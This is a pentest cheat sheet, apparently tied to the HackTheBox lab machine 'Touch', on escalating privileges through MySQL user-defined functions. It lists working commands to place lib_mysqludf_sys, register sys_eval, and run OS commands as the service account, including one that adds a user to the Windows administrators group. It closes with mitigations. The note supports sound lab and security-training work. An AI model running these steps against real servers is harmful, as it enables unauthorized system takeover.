🧠 MySQL - UDF Hijacking

What is it?

  • Concept: MySQL User-Defined Functions let you load a shared library (.dll / .so) that exposes C/C++ functions callable from SQL. The public lib_mysqludf_sys library adds sys_eval() / sys_exec(), giving OS command execution as the MySQL service account.
  • Impact: Privilege escalation — on Windows the service often runs as LocalSystem (→ SYSTEM); on Linux as mysql/root.

How it works

  1. You need a DB account with INSERT on the mysql schema (to register the function in mysql.func) — typically root.
  2. The UDF library must sit in MySQL’s plugin directory (@@plugin_dir), e.g. C:\MySQL\lib\plugin\ or /usr/lib/mysql/plugin/.
  3. CREATE FUNCTION maps a SQL function name to a symbol in that library.
  4. Calling the function runs native code in the mysqld process → as its service account.

Exploitation

Prerequisites

  • MySQL creds with INSERT on mysql.* (root or equivalent) — verify with SHOW GRANTS
  • Write access to the plugin dir (directly, or via FILE priv + INTO DUMPFILE if secure_file_priv allows)
  • mysqld runs as a privileged account for the payoff

Attack Vectors

0. Recon — plugin dir + grants

mysql -u root -p'<pw>' -e "SELECT @@plugin_dir; SELECT @@secure_file_priv; SHOW GRANTS;"

1. Place the library in the plugin dir

Metasploit ships it at /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll.

Windows: upload -> C:\MySQL\lib\plugin\lib_mysqludf_sys_64.dll
Linux:   lib_mysqludf_sys.so -> /usr/lib/mysql/plugin/   (or write via SELECT ... INTO DUMPFILE)

2. Register the function

mysql -u root -p'<pw>' -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';"

3. Execute commands as the service account

mysql -u root -p'<pw>' -e "SELECT sys_eval('whoami');"          # -> nt authority\system (Windows)
mysql -u root -p'<pw>' -e "SELECT sys_eval('net localgroup administrators <user> /add');"

Metasploit automates the whole thing: use exploit/multi/mysql/mysql_udf_payload.

Notes

  • @@plugin_dir is authoritative for where to drop the .dll/.so; @@secure_file_priv governs whether SELECT ... INTO DUMPFILE can write it there when you don’t already have filesystem write.
  • This is the go-to when you have DB root but can’t restart the service for a DLL-hijack/binary-replace path — the DB is already running as LocalSystem, so you abuse it at the app layer instead (see Windows - Service Permission Abuse).
  • Find DB creds in app source / config files (index.ts, *.bat, web configs) — that’s how Touch’s root password surfaced.

Mitigation

  • Fix: Run MySQL as a low-privilege account; don’t grant app users INSERT on mysql.*; set a restrictive secure_file_priv; make the plugin dir non-writable by the service account.
FileCreated
HTB Machine - TouchOctober 07, 2026

References: